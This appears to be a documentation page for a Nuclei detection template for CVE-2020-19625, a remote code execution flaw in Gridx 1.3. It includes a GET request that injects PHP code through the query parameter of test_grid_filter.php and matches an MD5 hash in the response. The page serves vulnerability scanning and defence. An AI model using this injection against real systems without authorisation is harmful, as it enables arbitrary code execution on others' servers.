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Gridx 1.3 - Remote Code Execution

ID: CVE-2020-19625

Severity: critical

Author: geeknik

Tags: cve2020,cve,gridx,rce,gridx_project

Description

Section titled “Description”

Gridx 1.3 is susceptible to remote code execution via tests/support/stores/test_grid_filter.php, which allows remote attackers to execute arbitrary code via crafted values submitted to the $query parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2020-19625


info:
  name: Gridx 1.3 - Remote Code Execution
  author: geeknik
  severity: critical
  description: |
    Gridx 1.3 is susceptible to remote code execution via tests/support/stores/test_grid_filter.php, which allows remote attackers to execute arbitrary code via crafted values submitted to the $query parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Gridx.
  reference:
    - http://mayoterry.com/file/cve/Remote_Code_Execution_Vulnerability_in_gridx_latest_version.pdf
    - https://github.com/oria/gridx/issues/433
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19625
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-19625
    epss-score: 0.83118
    epss-percentile: 0.98347
    cpe: cpe:2.3:a:gridx_project:gridx:1.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gridx_project
    product: gridx
  tags: cve2020,cve,gridx,rce,gridx_project


http:
  - method: GET
    path:
      - "{{BaseURL}}/tests/support/stores/test_grid_filter.php?query=echo%20md5%28%22CVE-2020-19625%22%29%3B"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "6ca86c2c17047c14437f55c42c801c10"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c1fe9b6b15b270c01598b31d65591ca958740c70dc4b32ba7e77f39ef31cac51022100847e7af7f056f9561169e9f5e9b8abf0ecd8b786ab524edfa34b1fae35b3a783:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-19625.yaml"

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